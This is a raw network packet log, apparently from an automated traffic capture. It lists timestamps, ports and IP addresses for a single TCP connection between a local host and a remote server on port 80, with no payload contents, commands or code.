Dec 21, 2024 10:15:20.763735056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.764796019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.764859915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.764863968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.764935017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.765930891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.766026020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.766083956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.767215967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.767270088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.767299891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.767344952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.768373013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.768418074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.768425941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.768455982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.769530058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.769593954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.769629002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.769669056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.770884037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.770910978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.770937920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.770953894 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.771883965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.771986008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.772025108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.773096085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.773150921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.773236990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.773277998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.774243116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.774350882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.774394989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.775480986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.775521994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.775593042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.775652885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.776633024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.776674032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.776709080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.776750088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.777875900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.777900934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.777937889 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.778975010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.779016018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.779074907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.779117107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.780205011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.780251026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.780284882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.780330896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.781419992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.781517029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.781565905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.782557964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.782605886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.782646894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.782685995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.783716917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.783757925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.783798933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.784888983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.784929991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.784956932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.784998894 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.786092997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.786134958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.915965080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.916161060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.916254997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.916481018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.916534901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.916568995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.916615009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.917689085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.917738914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.917778969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.917826891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.918885946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.919039011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.919085979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.920064926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.920114994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.920253992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.920319080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.921267033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.921312094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.921361923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.922441006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.922492981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.922540903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.922590017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.923613071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.923665047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.923710108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.923758030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.924936056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.924952030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.924993038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.926012039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.926088095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.926150084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.927197933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.927320957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.927367926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.928337097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.928383112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.928432941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.928478003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.929546118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.929593086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.929725885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.929765940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.930809975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.930875063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.930938959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.931956053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.932008982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.932050943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.932086945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.933150053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.933166027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.933209896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.934353113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.934402943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.934441090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.934482098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.935448885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.935494900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.935578108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.935621023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.936693907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.936742067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.936830044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.936877012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.937835932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.937890053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.937958956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.938004017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.939083099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.939110041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.939131975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.939151049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.940243959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.940289974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.940294981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.940335989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.941381931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.941437006 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.941653967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.941694975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.942553997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.942697048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.942743063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.943836927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.943890095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.943959951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.944005013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.944982052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.945027113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.945151091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.946130991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.946173906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.946216106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.946257114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.947338104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.947382927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.947415113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.947457075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.948539019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.948582888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.948635101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.948676109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.949812889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.949827909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.949856043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.949876070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.950887918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.951046944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.951091051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.952186108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.952200890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.952243090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.953263044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.953305960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.953346014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.953394890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.954406023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.954472065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.954519033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.955636978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.955682039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.955728054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.955773115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.956830978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.956921101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.956964970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.957962990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.958024979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.958106041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.958307981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.959209919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.959271908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.959306955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.959745884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.960345984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.960403919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.960434914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.960472107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.961493969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.961577892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.961801052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.962029934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.962779045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.962795019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.962836981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.963920116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.963973999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.964087963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.964200974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.965101004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.965157032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.965228081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.965461016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.966279030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.966321945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.966344118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.966379881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.967406988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.967556953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.967603922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.968615055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.968667984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.968776941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.968841076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.969908953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.970021009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.970062971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.971134901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.971151114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.971174955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.971198082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.972227097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.972296953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.972337008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.973402977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.973447084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.973638058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.973675966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.974709988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.974725008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.974756002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.974783897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.975754023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.975809097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.975852013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.976917028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.976973057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.977044106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.977086067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.978096962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.978147984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.108244896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.108544111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.108608961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.108624935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.108664036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.108743906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.108784914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.109895945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.109914064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.110061884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.111052036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.111200094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.111251116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.112112045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.112160921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.112252951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.112298965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.113365889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.113509893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.113555908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.114542961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.114588976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.114665031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.114710093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.115719080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.115761995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.115782976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.115827084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.116862059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.116910934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.116991997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.117036104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.118073940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.118119001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.118146896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.118187904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.119368076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.119421005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.119467974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.120490074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.120536089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.120568991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.120631933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.121588945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.121632099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.121728897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.121769905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.122821093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.122838974 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.122884035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.124028921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.124074936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.124178886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.124222040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.125160933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.125309944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.125354052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.126451015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.126498938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.126647949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.126691103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.127763033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.127814054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.127886057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.127928019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.128911018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.128978968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.129024982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.129987955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.130006075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.130033016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.130057096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.131216049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.131293058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.131347895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.132288933 CET	80	49781	31.41.244.11	192.168.2.4
